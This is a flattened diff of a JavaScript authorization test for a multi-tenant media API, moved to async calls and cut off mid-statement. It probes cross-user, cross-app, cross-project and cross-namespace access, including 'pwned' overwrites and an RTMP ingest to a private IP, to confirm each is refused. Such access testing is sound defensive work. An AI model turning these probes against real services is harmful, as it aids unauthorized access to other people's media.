});--auth._setNetworkPublicKeyForTests(keys.publicKey);--db.upsertApp({ app_id: 'live', api_key: 'live-key' });--db.upsertApp({ app_id: 'games', api_key: 'games-key' });--const raw = db.getDb();--const now = Math.floor(Date.now() / 1000);--const jti = () => `tok_${crypto.randomBytes(6).toString('hex')}`;--const ALL_CAPS = ['media.object.upload', 'media.object.read', 'media.object.list', 'media.object.delete', 'media.derivative.create'];--const svc = (ns) => serviceAuth.signServiceToken({ iss: 'https://openvibe.network', sub: 'svc:example', actor_type: 'service', aud: ['openvibe.media'], cap: ALL_CAPS, ns, iat: now, exp: now + 300, jti: jti() }, keys.privateKey);--const PA = `prj_${ids.ulid()}`, PB = `prj_${ids.ulid()}`;--const appTok = (project) => serviceAuth.signServiceToken({ iss: 'https://openvibe.network', sub: `app:app_${ids.ulid()}`, actor_type: 'app', aud: ['openvibe.media'], cap: ALL_CAPS, ns: [project], project_id: project, env: 'production', iat: now, exp: now + 300, jti: jti() }, keys.privateKey);++ const keys = crypto.generateKeyPairSync('rsa', { modulusLength: 2048, publicKeyEncoding: { type: 'spki', format: 'pem' }, privateKeyEncoding: { type: 'pkcs8', format: 'pem' } });++ auth._setNetworkPublicKeyForTests(keys.publicKey);++ await db.upsertApp({ app_id: 'live', api_key: 'live-key' });++ await db.upsertApp({ app_id: 'games', api_key: 'games-key' });++ const raw = db.getDb();++ const now = Math.floor(Date.now() / 1000);++ const jti = () => `tok_${crypto.randomBytes(6).toString('hex')}`;++ const ALL_CAPS = ['media.object.upload', 'media.object.read', 'media.object.list', 'media.object.delete', 'media.derivative.create'];++ const svc = (ns) => serviceAuth.signServiceToken({ iss: 'https://openvibe.network', sub: 'svc:example', actor_type: 'service', aud: ['openvibe.media'], cap: ALL_CAPS, ns, iat: now, exp: now + 300, jti: jti() }, keys.privateKey);++ const PA = `prj_${ids.ulid()}`, PB = `prj_${ids.ulid()}`;++ const appTok = (project) => serviceAuth.signServiceToken({ iss: 'https://openvibe.network', sub: `app:app_${ids.ulid()}`, actor_type: 'app', aud: ['openvibe.media'], cap: ALL_CAPS, ns: [project], project_id: project, env: 'production', iat: now, exp: now + 300, jti: jti() }, keys.privateKey);--// ── v1 rows, all user 5's ──--const file = (d, n, bytes = 64) => { const p = path.join(d, n); fs.writeFileSync(p, Buffer.alloc(bytes, 1)); return p; };--const mkVod = (title, visibility) => Number(db.createVod({ app_id: 'live', user_id: 5, title, file_path: file(process.env.VOD_PATH, `${title}.webm`), duration_seconds: 10, visibility, thumbnail_url: `/t/${title}.jpg` }).lastInsertRowid);--const privVod = mkVod('privvod', 'private');--const pubVod = mkVod('pubvod', 'public');--const mkClip = (title, visibility) => Number(db.createClip({ app_id: 'live', vod_id: pubVod, user_id: 5, title, file_path: file(process.env.CLIPS_PATH, `${title}.webm`), duration_seconds: 5, is_public: visibility === 'public' ? 1 : 0, visibility, status: 'ready' }).lastInsertRowid);--const privClip = mkClip('privclip', 'private');--const pubClip = mkClip('pubclip', 'public');--const assetId = Number(raw.prepare("INSERT INTO assets (app_id, kind, name, file_path, user_id) VALUES ('live', 'emote', 'hi', ?, 5)").run(file(process.env.ASSETS_PATH, 'hi.png')).lastInsertRowid);--const v1State = () => ({-- vods: raw.prepare('SELECT id, title, visibility, is_public, thumbnail_url, is_recording FROM vods ORDER BY id').all(),-- clips: raw.prepare('SELECT id, title, visibility, is_public, status, thumbnail_url, cut_attempts FROM clips ORDER BY id').all(),-- files: raw.prepare('SELECT key FROM files ORDER BY key').all(),-- assets: raw.prepare('SELECT id FROM assets ORDER BY id').all(),--});++ // ── v1 rows, all user 5's ──++ const file = (d, n, bytes = 64) => { const p = path.join(d, n); fs.writeFileSync(p, Buffer.alloc(bytes, 1)); return p; };++ const mkVod = async (title, visibility) => Number((await db.createVod({ app_id: 'live', user_id: 5, title, file_path: file(process.env.VOD_PATH, `${title}.webm`), duration_seconds: 10, visibility, thumbnail_url: `/t/${title}.jpg` })).lastInsertRowid);++ const privVod = await mkVod('privvod', 'private');++ const pubVod = await mkVod('pubvod', 'public');++ const mkClip = async (title, visibility) => Number((await db.createClip({ app_id: 'live', vod_id: pubVod, user_id: 5, title, file_path: file(process.env.CLIPS_PATH, `${title}.webm`), duration_seconds: 5, is_public: visibility === 'public' ? 1 : 0, visibility, status: 'ready' })).lastInsertRowid);++ const privClip = await mkClip('privclip', 'private');++ const pubClip = await mkClip('pubclip', 'public');++ const assetId = Number((await raw.prepare("INSERT INTO assets (app_id, kind, name, file_path, user_id) VALUES ('live', 'emote', 'hi', ?, 5) RETURNING id").run(file(process.env.ASSETS_PATH, 'hi.png'))).lastInsertRowid);++ const v1State = async () => ({++ vods: await raw.prepare('SELECT id, title, visibility, is_public, thumbnail_url, is_recording FROM vods ORDER BY id').all(),++ clips: await raw.prepare('SELECT id, title, visibility, is_public, status, thumbnail_url, cut_attempts FROM clips ORDER BY id').all(),++ files: await raw.prepare('SELECT key FROM files ORDER BY key').all(),++ assets: await raw.prepare('SELECT id FROM assets ORDER BY id').all(),++ });--const app = express();--app.put('/api/v2/:app/objects/:id/content', ...objectRoutes.contentHandlers);--app.put('/api/v2/:app/objects/:id/multipart/:uploadId/parts/:n', ...objectRoutes.partHandlers);--app.use(express.json());--app.use('/api/v1/:app/vods', require('../server/vod/routes'));--app.use('/api/v1/:app/clips', require('../server/vod/clips-routes'));--app.use('/api/v1/:app/files', require('../server/files/routes'));--app.use('/api/v1/:app/thumbnails', require('../server/thumbnails/routes'));--app.use('/api/v1/:app/assets', require('../server/assets/routes'));--app.use('/api/v1/:app/admin/storage', require('../server/admin/routes'));--app.use('/api/v2/:app/objects', objectRoutes);--app.use('/api/v2/:app/jobs', require('../server/jobs/routes'));--app.use('/api/v2/:app/namespaces', require('../server/objects/namespace-routes'));--const server = http.createServer(app);++ const app = express();++ app.put('/api/v2/:app/objects/:id/content', ...objectRoutes.contentHandlers);++ app.put('/api/v2/:app/objects/:id/multipart/:uploadId/parts/:n', ...objectRoutes.partHandlers);++ app.use(express.json());++ app.use('/api/v1/:app/vods', require('../server/vod/routes'));++ app.use('/api/v1/:app/clips', require('../server/vod/clips-routes'));++ app.use('/api/v1/:app/files', require('../server/files/routes'));++ app.use('/api/v1/:app/thumbnails', require('../server/thumbnails/routes'));++ app.use('/api/v1/:app/assets', require('../server/assets/routes'));++ app.use('/api/v1/:app/admin/storage', require('../server/admin/routes'));++ app.use('/api/v2/:app/objects', objectRoutes);++ app.use('/api/v2/:app/jobs', require('../server/jobs/routes'));++ app.use('/api/v2/:app/namespaces', require('../server/objects/namespace-routes'));++ const server = http.createServer(app);--(async () => {-- await new Promise((r) => server.listen(0, '127.0.0.1', r));-- const base = `http://127.0.0.1:${server.address().port}`;-- const local = (u) => String(u).replace('https://media.test', '');-- const call = async (method, p, headers = {}, body) => {-- const h = { ...headers };-- let payload = body;-- if (body !== undefined && !Buffer.isBuffer(body) && typeof body !== 'string' && !(body instanceof FormData)) { h['content-type'] = 'application/json'; payload = JSON.stringify(body); }-- const res = await fetch(base + p, { method, headers: h, body: payload, redirect: 'manual' });-- const text = await res.text();-- let json = null; try { json = JSON.parse(text); } catch { /* not JSON */ }-- return { status: res.status, text, json };-- };-- const key = (k) => ({ authorization: `Bearer ${k}` });-- const asUser = (id) => ({ ...key('live-key'), 'x-ov-user-id': String(id) });-- const same = async (a, b, msg) => {-- const [x, y] = [await call(...a), await call(...b)];-- assert.deepStrictEqual([x.status, x.text], [y.status, y.text], msg);-- assert.ok(x.status >= 400, `${msg}: refused (${x.status})`);-- return x;-- };++ (async () => {++ await new Promise((r) => server.listen(0, '127.0.0.1', r));++ const base = `http://127.0.0.1:${server.address().port}`;++ const local = (u) => String(u).replace('https://media.test', '');++ const call = async (method, p, headers = {}, body) => {++ const h = { ...headers };++ let payload = body;++ if (body !== undefined && !Buffer.isBuffer(body) && typeof body !== 'string' && !(body instanceof FormData)) { h['content-type'] = 'application/json'; payload = JSON.stringify(body); }++ const res = await fetch(base + p, { method, headers: h, body: payload, redirect: 'manual' });++ const text = await res.text();++ let json = null; try { json = JSON.parse(text); } catch { /* not JSON */ }++ return { status: res.status, text, json };++ };++ const key = (k) => ({ authorization: `Bearer ${k}` });++ const asUser = (id) => ({ ...key('live-key'), 'x-ov-user-id': String(id) });++ const same = async (a, b, msg) => {++ const [x, y] = [await call(...a), await call(...b)];++ assert.deepStrictEqual([x.status, x.text], [y.status, y.text], msg);++ assert.ok(x.status >= 400, `${msg}: refused (${x.status})`);++ return x;++ };-- // ── v2 objects ──-- const init = async (tenant, headers, body) => {-- const r = await call('POST', `/api/v2/${tenant}/objects`, headers, { kind: 'file', mime_type: 'text/plain', filename: 'x.txt', ...body });++ // ── v2 objects ──++ const init = async (tenant, headers, body) => {++ const r = await call('POST', `/api/v2/${tenant}/objects`, headers, { kind: 'file', mime_type: 'text/plain', filename: 'x.txt', ...body });++ assert.strictEqual(r.status, 201, r.text);++ return r.json;++ };++ const mkReady = async (tenant, headers, body) => {++ const o = await init(tenant, headers, { size_bytes: 5, ...body });++ assert.strictEqual((await call('PUT', local(o.upload.url), { 'content-type': 'text/plain' }, 'hello')).status, 200);++ assert.strictEqual((await call('POST', `/api/v2/${tenant}/objects/${o.id}/complete`, headers, {})).status, 200);++ return o.id;++ };++ const priv5 = await mkReady('live', asUser(5), { visibility: 'private' });++ const pub5 = await mkReady('live', asUser(5), { visibility: 'public' });++ const up5 = await init('live', asUser(5), { visibility: 'private', size_bytes: 5 }); // still uploading++ const upPub5 = await init('live', asUser(5), { visibility: 'public', size_bytes: 5 });++ const mpObj = await init('live', asUser(5), { visibility: 'private', size_bytes: 10 });++ let r = await call('POST', `/api/v2/live/objects/${mpObj.id}/multipart`, asUser(5), {});assert.strictEqual(r.status, 201, r.text);-- return r.json;-- };-- const mkReady = async (tenant, headers, body) => {-- const o = await init(tenant, headers, { size_bytes: 5, ...body });-- assert.strictEqual((await call('PUT', local(o.upload.url), { 'content-type': 'text/plain' }, 'hello')).status, 200);-- assert.strictEqual((await call('POST', `/api/v2/${tenant}/objects/${o.id}/complete`, headers, {})).status, 200);-- return o.id;-- };-- const priv5 = await mkReady('live', asUser(5), { visibility: 'private' });-- const pub5 = await mkReady('live', asUser(5), { visibility: 'public' });-- const up5 = await init('live', asUser(5), { visibility: 'private', size_bytes: 5 }); // still uploading-- const upPub5 = await init('live', asUser(5), { visibility: 'public', size_bytes: 5 });-- const mpObj = await init('live', asUser(5), { visibility: 'private', size_bytes: 10 });-- let r = await call('POST', `/api/v2/live/objects/${mpObj.id}/multipart`, asUser(5), {});-- assert.strictEqual(r.status, 201, r.text);-- const mp5 = r.json;-- const other = await init('live', asUser(5), { visibility: 'private', size_bytes: 10 }); // a second session, for its token-- const otherMp = (await call('POST', `/api/v2/live/objects/${other.id}/multipart`, asUser(5), {})).json;-- const nsA = await mkReady('live', key(svc(['live.a'])), { namespace: 'a', visibility: 'private' });-- const nsB = await mkReady('live', key(svc(['live.b'])), { namespace: 'b', visibility: 'private' });-- const projA = await mkReady(PA, key(appTok(PA)), { visibility: 'private' });-- r = await call('POST', `/api/v2/live/objects/${pub5}/holds`, key('live-key'), { kind: 'dmca', reason: 'notice 1' });-- assert.strictEqual(r.status, 201, r.text);-- const hold5 = r.json.id;-- const job5 = queue.enqueue({ appId: 'live', type: 'thumbnail.regenerate', objectId: priv5, params: { kind: 'vod', id: privVod }, status: 'proposed', ownerUserId: 5, createdBy: 'app:live:user:5' }).job;-- const UNKNOWN = 'med_01JAB2C3D4E5F6G7H8J9K0MNPQ';-- const v2State = () => ({-- objects: raw.prepare('SELECT id, lifecycle_status, visibility, size_bytes, content_hash, owner_user_id, namespace FROM media_objects ORDER BY id').all(),-- holds: raw.prepare('SELECT id, object_id, released_at FROM media_holds ORDER BY id').all(),-- sessions: raw.prepare('SELECT id, status FROM media_uploads ORDER BY id').all(),-- parts: raw.prepare('SELECT upload_id, part_number FROM media_upload_parts ORDER BY upload_id, part_number').all(),-- jobs: raw.prepare('SELECT id, status FROM media_jobs ORDER BY id').all(),-- });-- const before = v2State();++ const mp5 = r.json;++ const other = await init('live', asUser(5), { visibility: 'private', size_bytes: 10 }); // a second session, for its token++ const otherMp = (await call('POST', `/api/v2/live/objects/${other.id}/multipart`, asUser(5), {})).json;++ const nsA = await mkReady('live', key(svc(['live.a'])), { namespace: 'a', visibility: 'private' });++ const nsB = await mkReady('live', key(svc(['live.b'])), { namespace: 'b', visibility: 'private' });++ const projA = await mkReady(PA, key(appTok(PA)), { visibility: 'private' });++ r = await call('POST', `/api/v2/live/objects/${pub5}/holds`, key('live-key'), { kind: 'dmca', reason: 'notice 1' });++ assert.strictEqual(r.status, 201, r.text);++ const hold5 = r.json.id;++ const job5 = (await queue.enqueue({ appId: 'live', type: 'thumbnail.regenerate', objectId: priv5, params: { kind: 'vod', id: privVod }, status: 'proposed', ownerUserId: 5, createdBy: 'app:live:user:5' })).job;++ const UNKNOWN = 'med_01JAB2C3D4E5F6G7H8J9K0MNPQ';++ const v2State = async () => ({++ objects: await raw.prepare('SELECT id, lifecycle_status, visibility, size_bytes, content_hash, owner_user_id, namespace FROM media_objects ORDER BY id').all(),++ holds: await raw.prepare('SELECT id, object_id, released_at FROM media_holds ORDER BY id').all(),++ sessions: await raw.prepare('SELECT id, status FROM media_uploads ORDER BY id').all(),++ parts: await raw.prepare('SELECT upload_id, part_number FROM media_upload_parts ORDER BY upload_id, part_number').all(),++ jobs: await raw.prepare('SELECT id, status FROM media_jobs ORDER BY id').all(),++ });++ const before = await v2State();-- const OPS = (uploadId) => [-- ['GET', ''], ['GET', '/download'], ['GET', '/download?format=json'], ['GET', '/holds'],-- ['DELETE', ''], ['POST', '/restore', {}],-- ['POST', '/holds', { kind: 'dmca', reason: 'x' }], ['DELETE', `/holds/${hold5}`],-- ['POST', '/upload-url', {}], ['POST', '/multipart', { size_bytes: 10 }], ['POST', '/complete', {}],-- ['PUT', '/content', 'hello'],-- ['GET', `/multipart/${uploadId}`], ['POST', `/multipart/${uploadId}/complete`, {}], ['DELETE', `/multipart/${uploadId}`],-- ['PUT', `/multipart/${uploadId}/parts/1`, Buffer.alloc(10, 7)],-- ];-- const attempt = (tenant, id, [method, rest, body], headers) => [method, `/api/v2/${tenant}/objects/${id}${rest}`, headers, body];++ const OPS = (uploadId) => [++ ['GET', ''], ['GET', '/download'], ['GET', '/download?format=json'], ['GET', '/holds'],++ ['DELETE', ''], ['POST', '/restore', {}],++ ['POST', '/holds', { kind: 'dmca', reason: 'x' }], ['DELETE', `/holds/${hold5}`],++ ['POST', '/upload-url', {}], ['POST', '/multipart', { size_bytes: 10 }], ['POST', '/complete', {}],++ ['PUT', '/content', 'hello'],++ ['GET', `/multipart/${uploadId}`], ['POST', `/multipart/${uploadId}/complete`, {}], ['DELETE', `/multipart/${uploadId}`],++ ['PUT', `/multipart/${uploadId}/parts/1`, Buffer.alloc(10, 7)],++ ];++ const attempt = (tenant, id, [method, rest, body], headers) => [method, `/api/v2/${tenant}/objects/${id}${rest}`, headers, body];-- // Another user of the app, on user 5's private objects: the unknown-id answer, every time.-- for (const target of [priv5, up5.id, mpObj.id]) {-- for (const op of OPS(mp5.upload_id)) await same(attempt('live', target, op, asUser(77)), attempt('live', UNKNOWN, op, asUser(77)), `user 77 ${op[0]} ${op[1]} on user 5's private ${target}`);-- }-- // ... and on user 5's public object: reads are fine, every write 403.-- for (const op of OPS(mp5.upload_id).filter(([m]) => m !== 'GET')) {-- for (const target of [pub5, upPub5.id]) {-- r = await call(...attempt('live', target, op, asUser(77)));-- assert.ok([403, 404].includes(r.status), `user 77 ${op[0]} ${op[1]} on user 5's public ${target}: ${r.status} ${r.text}`);-- if (!/multipart\/|holds\//.test(op[1])) assert.strictEqual(r.status, 403, `${op[0]} ${op[1]}: 403 for a visible object (${r.text})`);++ // Another user of the app, on user 5's private objects: the unknown-id answer, every time.++ for (const target of [priv5, up5.id, mpObj.id]) {++ for (const op of OPS(mp5.upload_id)) await same(attempt('live', target, op, asUser(77)), attempt('live', UNKNOWN, op, asUser(77)), `user 77 ${op[0]} ${op[1]} on user 5's private ${target}`);}-- }-- // Another app, through its own tenant (not found) and through this one (its key is not valid here).-- for (const op of OPS(mp5.upload_id)) {-- for (const target of [priv5, pub5, mpObj.id]) {-- await same(attempt('games', target, op, key('games-key')), attempt('games', UNKNOWN, op, key('games-key')), `games ${op[0]} ${op[1]} via its tenant`);-- await same(attempt('live', target, op, key('games-key')), attempt('live', UNKNOWN, op, key('games-key')), `games ${op[0]} ${op[1]} via live's tenant`);-- await same(attempt('live', target, op, {}), attempt('live', UNKNOWN, op, {}), `no credential ${op[0]} ${op[1]}`);++ // ... and on user 5's public object: reads are fine, every write 403.++ for (const op of OPS(mp5.upload_id).filter(([m]) => m !== 'GET')) {++ for (const target of [pub5, upPub5.id]) {++ r = await call(...attempt('live', target, op, asUser(77)));++ assert.ok([403, 404].includes(r.status), `user 77 ${op[0]} ${op[1]} on user 5's public ${target}: ${r.status} ${r.text}`);++ if (!/multipart\/|holds\//.test(op[1])) assert.strictEqual(r.status, 403, `${op[0]} ${op[1]}: 403 for a visible object (${r.text})`);++ }}-- // Another developer project: its own tenant does not hold PA's objects, and PA's tenant is not its own.-- await same(attempt(PB, projA, op, key(appTok(PB))), attempt(PB, UNKNOWN, op, key(appTok(PB))), `project B ${op[0]} ${op[1]} via its tenant`);-- await same(attempt(PA, projA, op, key(appTok(PB))), attempt(PA, UNKNOWN, op, key(appTok(PB))), `project B ${op[0]} ${op[1]} via project A's`);-- // Another namespace of the same tenant: 403 capability.namespace_denied (documented), never the object.-- if (!/multipart\/|holds/.test(op[1])) {-- r = await call(...attempt('live', nsA, op, key(svc(['live.b']))));-- assert.ok([403, 409].includes(r.status) && !r.text.includes('"size_bytes"'), `live.b token ${op[0]} ${op[1]} on live.a: ${r.status} ${r.text}`);-- if (r.status === 403) assert.ok(['capability.namespace_denied', 'capability.denied'].includes(r.json.code), r.text);++ // Another app, through its own tenant (not found) and through this one (its key is not valid here).++ for (const op of OPS(mp5.upload_id)) {++ for (const target of [priv5, pub5, mpObj.id]) {++ await same(attempt('games', target, op, key('games-key')), attempt('games', UNKNOWN, op, key('games-key')), `games ${op[0]} ${op[1]} via its tenant`);++ await same(attempt('live', target, op, key('games-key')), attempt('live', UNKNOWN, op, key('games-key')), `games ${op[0]} ${op[1]} via live's tenant`);++ await same(attempt('live', target, op, {}), attempt('live', UNKNOWN, op, {}), `no credential ${op[0]} ${op[1]}`);++ }++ // Another developer project: its own tenant does not hold PA's objects, and PA's tenant is not its own.++ await same(attempt(PB, projA, op, key(appTok(PB))), attempt(PB, UNKNOWN, op, key(appTok(PB))), `project B ${op[0]} ${op[1]} via its tenant`);++ await same(attempt(PA, projA, op, key(appTok(PB))), attempt(PA, UNKNOWN, op, key(appTok(PB))), `project B ${op[0]} ${op[1]} via project A's`);++ // Another namespace of the same tenant: 403 capability.namespace_denied (documented), never the object.++ if (!/multipart\/|holds/.test(op[1])) {++ r = await call(...attempt('live', nsA, op, key(svc(['live.b']))));++ assert.ok([403, 409].includes(r.status) && !r.text.includes('"size_bytes"'), `live.b token ${op[0]} ${op[1]} on live.a: ${r.status} ${r.text}`);++ if (r.status === 403) assert.ok(['capability.namespace_denied', 'capability.denied'].includes(r.json.code), r.text);++ }}-- }-- // Tokens scoped to one object never open another.-- const upTok = new URL(up5.upload.url).searchParams.get('token');-- r = await call('PUT', `/api/v2/live/objects/${upPub5.id}/content?token=${encodeURIComponent(upTok)}`, { 'content-type': 'text/plain' }, 'hello');-- assert.deepStrictEqual([r.status, r.json && r.json.code], [401, 'media.upload_token.invalid'], 'an upload token for one object does not write another');-- r = await call('PUT', `/api/v2/games/objects/${up5.id}/content?token=${encodeURIComponent(upTok)}`, { 'content-type': 'text/plain' }, 'hello');-- assert.ok(r.status >= 400, 'nor its object through another tenant');-- for (const [m, p, b] of [['PUT', `/api/v2/live/objects/${other.id}/multipart/${otherMp.upload_id}/parts/1`, Buffer.alloc(10)], ['GET', `/api/v2/live/objects/${other.id}/multipart/${otherMp.upload_id}`],-- ['POST', `/api/v2/live/objects/${other.id}/multipart/${otherMp.upload_id}/complete`, {}], ['DELETE', `/api/v2/live/objects/${other.id}/multipart/${otherMp.upload_id}`],-- ['PUT', `/api/v2/live/objects/${mpObj.id}/multipart/${otherMp.upload_id}/parts/1`, Buffer.alloc(10)]]) {-- r = await call(m, `${p}?token=${encodeURIComponent(mp5.token)}`, {}, b);-- assert.deepStrictEqual([r.status, r.json && r.json.code], [401, 'media.upload_token.invalid'], `a multipart token for one session: ${m} ${p}`);-- }-- r = await call('GET', `/api/v2/live/objects/${mpObj.id}/multipart/${otherMp.upload_id}`, key('live-key'));-- assert.strictEqual(r.status, 404, 'another object\'s session id through this object is not found');-- // Lists: nothing of another owner, app, project or namespace.-- const listed = async (p, h) => ((await call('GET', p, h)).json || { objects: [] }).objects.map(o => o.id);-- assert.ok(!(await listed('/api/v2/live/objects?user_id=5&visibility=private', asUser(77))).some(id => [priv5, up5.id, mpObj.id].includes(id)), 'another user lists none of user 5\'s private objects');-- assert.deepStrictEqual(await listed('/api/v2/games/objects', key('games-key')), [], 'another app lists none');-- assert.deepStrictEqual(await listed(`/api/v2/${PB}/objects`, key(appTok(PB))), [], 'another project lists none');-- assert.deepStrictEqual(await listed('/api/v2/live/objects', key(svc(['live.b']))), [nsB], 'a live.b token lists live.b only');-- r = await call('GET', '/api/v2/live/objects?namespace=a', key(svc(['live.b'])));-- assert.deepStrictEqual([r.status, r.json.code], [403, 'capability.namespace_denied'], 'nor asks for live.a');-- r = await call('GET', '/api/v2/live/namespaces/live.a', key(svc(['live.b'])));-- assert.strictEqual(r.status, 403, 'nor reads live.a\'s namespace');-- r = await call('GET', '/api/v2/games/namespaces/live.a', key('games-key'));-- assert.ok(r.status >= 400 && !r.text.includes('"live.a"'), 'another app does not read live\'s namespaces');-- // Jobs.-- for (const [m, rest, b] of [['GET', ''], ['POST', '/approve', {}], ['POST', '/cancel', {}], ['DELETE', '']]) {-- await same([m, `/api/v2/live/jobs/${job5.id}${rest}`, asUser(77), b], [m, `/api/v2/live/jobs/mjob_nosuchjob${rest}`, asUser(77), b], `user 77 ${m} ${rest} on user 5's job`);-- await same([m, `/api/v2/games/jobs/${job5.id}${rest}`, key('games-key'), b], [m, `/api/v2/games/jobs/mjob_nosuchjob${rest}`, key('games-key'), b], `games ${m} ${rest} on live's job`);-- }-- const jobBody = (object_id) => ({ type: 'thumbnail.regenerate', object_id, params: { kind: 'vod', id: privVod } });-- await same(['POST', '/api/v2/live/jobs', asUser(77), jobBody(priv5)], ['POST', '/api/v2/live/jobs', asUser(77), jobBody(UNKNOWN)], 'user 77 cannot start a job on user 5\'s private object');-- r = await call('POST', '/api/v2/live/jobs', asUser(77), jobBody(pub5));-- assert.strictEqual(r.status, 403, `nor on user 5's public object (${r.text})`);-- await same(['POST', '/api/v2/games/jobs', key('games-key'), jobBody(priv5)], ['POST', '/api/v2/games/jobs', key('games-key'), jobBody(UNKNOWN)], 'games cannot start a job on live\'s object');-- assert.deepStrictEqual(v2State(), before, 'no object, hold, upload session or job changed');-- console.log('✅ v2 objects, uploads, multipart, holds, jobs, lists and namespaces: other users, apps, projects and namespaces reach nothing');++ // Tokens scoped to one object never open another.++ const upTok = new URL(up5.upload.url).searchParams.get('token');++ r = await call('PUT', `/api/v2/live/objects/${upPub5.id}/content?token=${encodeURIComponent(upTok)}`, { 'content-type': 'text/plain' }, 'hello');++ assert.deepStrictEqual([r.status, r.json && r.json.code], [401, 'media.upload_token.invalid'], 'an upload token for one object does not write another');++ r = await call('PUT', `/api/v2/games/objects/${up5.id}/content?token=${encodeURIComponent(upTok)}`, { 'content-type': 'text/plain' }, 'hello');++ assert.ok(r.status >= 400, 'nor its object through another tenant');++ for (const [m, p, b] of [['PUT', `/api/v2/live/objects/${other.id}/multipart/${otherMp.upload_id}/parts/1`, Buffer.alloc(10)], ['GET', `/api/v2/live/objects/${other.id}/multipart/${otherMp.upload_id}`],++ ['POST', `/api/v2/live/objects/${other.id}/multipart/${otherMp.upload_id}/complete`, {}], ['DELETE', `/api/v2/live/objects/${other.id}/multipart/${otherMp.upload_id}`],++ ['PUT', `/api/v2/live/objects/${mpObj.id}/multipart/${otherMp.upload_id}/parts/1`, Buffer.alloc(10)]]) {++ r = await call(m, `${p}?token=${encodeURIComponent(mp5.token)}`, {}, b);++ assert.deepStrictEqual([r.status, r.json && r.json.code], [401, 'media.upload_token.invalid'], `a multipart token for one session: ${m} ${p}`);++ }++ r = await call('GET', `/api/v2/live/objects/${mpObj.id}/multipart/${otherMp.upload_id}`, key('live-key'));++ assert.strictEqual(r.status, 404, 'another object\'s session id through this object is not found');++ // Lists: nothing of another owner, app, project or namespace.++ const listed = async (p, h) => ((await call('GET', p, h)).json || { objects: [] }).objects.map(o => o.id);++ assert.ok(!(await listed('/api/v2/live/objects?user_id=5&visibility=private', asUser(77))).some(id => [priv5, up5.id, mpObj.id].includes(id)), 'another user lists none of user 5\'s private objects');++ assert.deepStrictEqual(await listed('/api/v2/games/objects', key('games-key')), [], 'another app lists none');++ assert.deepStrictEqual(await listed(`/api/v2/${PB}/objects`, key(appTok(PB))), [], 'another project lists none');++ assert.deepStrictEqual(await listed('/api/v2/live/objects', key(svc(['live.b']))), [nsB], 'a live.b token lists live.b only');++ r = await call('GET', '/api/v2/live/objects?namespace=a', key(svc(['live.b'])));++ assert.deepStrictEqual([r.status, r.json.code], [403, 'capability.namespace_denied'], 'nor asks for live.a');++ r = await call('GET', '/api/v2/live/namespaces/live.a', key(svc(['live.b'])));++ assert.strictEqual(r.status, 403, 'nor reads live.a\'s namespace');++ r = await call('GET', '/api/v2/games/namespaces/live.a', key('games-key'));++ assert.ok(r.status >= 400 && !r.text.includes('"live.a"'), 'another app does not read live\'s namespaces');++ // Jobs.++ for (const [m, rest, b] of [['GET', ''], ['POST', '/approve', {}], ['POST', '/cancel', {}], ['DELETE', '']]) {++ await same([m, `/api/v2/live/jobs/${job5.id}${rest}`, asUser(77), b], [m, `/api/v2/live/jobs/mjob_nosuchjob${rest}`, asUser(77), b], `user 77 ${m} ${rest} on user 5's job`);++ await same([m, `/api/v2/games/jobs/${job5.id}${rest}`, key('games-key'), b], [m, `/api/v2/games/jobs/mjob_nosuchjob${rest}`, key('games-key'), b], `games ${m} ${rest} on live's job`);++ }++ const jobBody = (object_id) => ({ type: 'thumbnail.regenerate', object_id, params: { kind: 'vod', id: privVod } });++ await same(['POST', '/api/v2/live/jobs', asUser(77), jobBody(priv5)], ['POST', '/api/v2/live/jobs', asUser(77), jobBody(UNKNOWN)], 'user 77 cannot start a job on user 5\'s private object');++ r = await call('POST', '/api/v2/live/jobs', asUser(77), jobBody(pub5));++ assert.strictEqual(r.status, 403, `nor on user 5's public object (${r.text})`);++ await same(['POST', '/api/v2/games/jobs', key('games-key'), jobBody(priv5)], ['POST', '/api/v2/games/jobs', key('games-key'), jobBody(UNKNOWN)], 'games cannot start a job on live\'s object');++ assert.deepStrictEqual(await v2State(), before, 'no object, hold, upload session or job changed');++ console.log('✅ v2 objects, uploads, multipart, holds, jobs, lists and namespaces: other users, apps, projects and namespaces reach nothing');-- // ── v1 ──-- fs.writeFileSync(path.join(process.env.FILES_PATH, '.keep'), '');-- const fd = new FormData();-- fd.append('file', new Blob([Buffer.from('user five')], { type: 'text/plain' }), 'five.txt');-- r = await call('POST', '/api/v1/live/files', asUser(5), fd);-- assert.strictEqual(r.status, 201, r.text);-- const fileKey = r.json.key;-- const v1Before = v1State();-- const v2Before = v2State(); // the file above is an object too-- const chunk = () => { const f = new FormData(); f.append('chunk', new Blob([Buffer.alloc(32)], { type: 'video/webm' }), 'c.webm'); return f; };-- const VOD_OPS = [['PUT', '', { visibility: 'public', title: 'pwned' }], ['DELETE', ''], ['POST', '/finalize', {}], ['POST', '/complete', {}],-- ['POST', '/ingest/rtp/stop', {}], ['POST', '/ingest/rtmp', { rtmp_url: 'rtmp://10.0.0.5:1935/live/k' }], ['POST', '/chunks', chunk]];-- const CLIP_OPS = [['PUT', '', { visibility: 'public', title: 'pwned' }], ['DELETE', ''], ['POST', '/recut', {}]];-- const thumbBody = { image: 'data:image/jpeg;base64,/9j/4AAQSkZJRgABAQ==' };-- const v1 = (kind, tenant, id, [m, rest, b], h) => [m, `/api/v1/${tenant}/${kind}/${id}${rest}`, h, typeof b === 'function' ? b() : b];-- for (const [kind, ops, priv, pub] of [['vods', VOD_OPS, privVod, pubVod], ['clips', CLIP_OPS, privClip, pubClip]]) {-- for (const op of ops) {-- await same(v1(kind, 'live', priv, op, asUser(77)), v1(kind, 'live', 999999, op, asUser(77)), `user 77 ${op[0]} ${kind}${op[1]} on user 5's private one`);-- r = await call(...v1(kind, 'live', pub, op, asUser(77)));-- assert.strictEqual(r.status, 403, `user 77 ${op[0]} ${kind}${op[1]} on user 5's public one: ${r.status} ${r.text}`);-- await same(v1(kind, 'games', priv, op, key('games-key')), v1(kind, 'games', 999999, op, key('games-key')), `games ${op[0]} ${kind}${op[1]} via its tenant`);-- await same(v1(kind, 'games', pub, op, key('games-key')), v1(kind, 'games', 999999, op, key('games-key')), `games ${op[0]} ${kind}${op[1]} on a public one`);-- await same(v1(kind, 'live', pub, op, key('games-key')), v1(kind, 'live', 999999, op, key('games-key')), `games ${op[0]} ${kind}${op[1]} via live's tenant`);++ // ── v1 ──++ fs.writeFileSync(path.join(process.env.FILES_PATH, '.keep'), '');++ const fd = new FormData();++ fd.append('file', new Blob([Buffer.from('user five')], { type: 'text/plain' }), 'five.txt');++ r = await call('POST', '/api/v1/live/files', asUser(5), fd);++ assert.strictEqual(r.status, 